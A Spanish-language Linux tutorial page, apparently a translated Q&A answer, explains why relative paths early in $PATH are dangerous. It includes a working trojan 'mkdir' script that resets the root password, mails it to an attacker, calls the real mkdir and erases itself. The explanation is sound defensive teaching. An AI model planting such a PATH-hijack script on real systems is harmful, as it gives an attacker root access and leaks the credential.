GNU/Linux >> Tutoriales Linux >  >> Linux

¿Implicaciones de seguridad del uso de rutas relativas en la variable ambiental PATH?

Hay dos problemas con la ruta que está utilizando.

  1. La ruta es relativa.
  2. La ruta relativa viene antes los caminos principales.

Supongamos que tiene el siguiente script de shell que usa como root para actualizar alguna aplicación web y ha configurado el $PATH siendo usado en /etc/profile

#!/bin/bash
pushd /dev/shm
git clone http://some/git/path/web_app
cp -a web_app /var/www/html
rm -fr web_app
popd

A un atacante le está proporcionando un medio para ejecutar algo en el shell que está controlado por dicho atacante. Una forma de ataque se vería así, donde intento subvertir el control de mkdir llamar en el script vulnerable.

attacker$ cd /dev/shm
attacker$ mkdir -p apps/java/bin
attacker$ vi apps/java/bin/mkdir
#!/bin/bash
echo "some_random_password" | passwd --stdin root
echo "We owned that guy with some_random_password" | mail -s "Pwned" [email protected]
/bin/mkdir [email protected]
rm -fr /dev/shm/apps
attacker$ chmod +x apps/java/bin/mkdir

Luego espero a que actualices tu webapp.

Ahora lo que sucede es que el script vulnerable cambia a /dev/shm . Cuando hace esto y ejecuta mkdir encuentra el apps/java/bin/mkdir programa primero, que en este caso restablece la contraseña raíz, envía un correo electrónico al atacante con la nueva contraseña raíz, en realidad llama al verdadero mkdir (para ocultar el hecho de que algo realmente sucedió) y se retira de la ruta de ataque.

Como root, tienes no idea de lo que sucedió y la evidencia se borra una vez que se entrega la carga útil.


El problema de tener una ruta relativa en $PATH es que si un atacante puede crear un archivo con un nombre dado en su sistema de archivos, corre el riesgo de ejecutar ese archivo.

Ejemplo:df o el monitoreo dice que /var está lleno, du dice que es /var/spool/ftp/uploads , ¿qué haces?

cd /var/spool/ftp/uploads
ls -ltr

y eres propiedad. Ni siquiera ves ls en la salida, por lo que nunca lo sabrás.

Reemplace las cargas de ftp con algún directorio de datos de algún sitio web del cliente, o el directorio /tmp de una máquina compartida, o muchas otras cosas.

Es cierto que no sucederá a menudo, pero el riesgo existe y escribir ./script en lugar de script es fácil.


Linux
  1. ¿Implicaciones de seguridad de olvidar citar una variable en Bash/posix Shells?

  2. ¿Vista completa de dónde se establece la variable de ruta en Bash?

  3. ¿Rutas absolutas/canónicas/relativas?

  4. ¿La función de la raíz del grupo de usuarios?

  5. Cómo cambiar la variable PATH en Linux

Navegando por el sistema de archivos con rutas relativas en la línea de comando

Uso del archivo de configuración SSH

Cómo mejorar la seguridad de los sistemas Linux usando Firejail

¿Cómo cambiar la contraseña de root usando WHM?

Ruta absoluta vs relativa en Linux:¿Cuál es la diferencia?

Usando la variable en la ruta de comando para ExecStart en el servicio systemd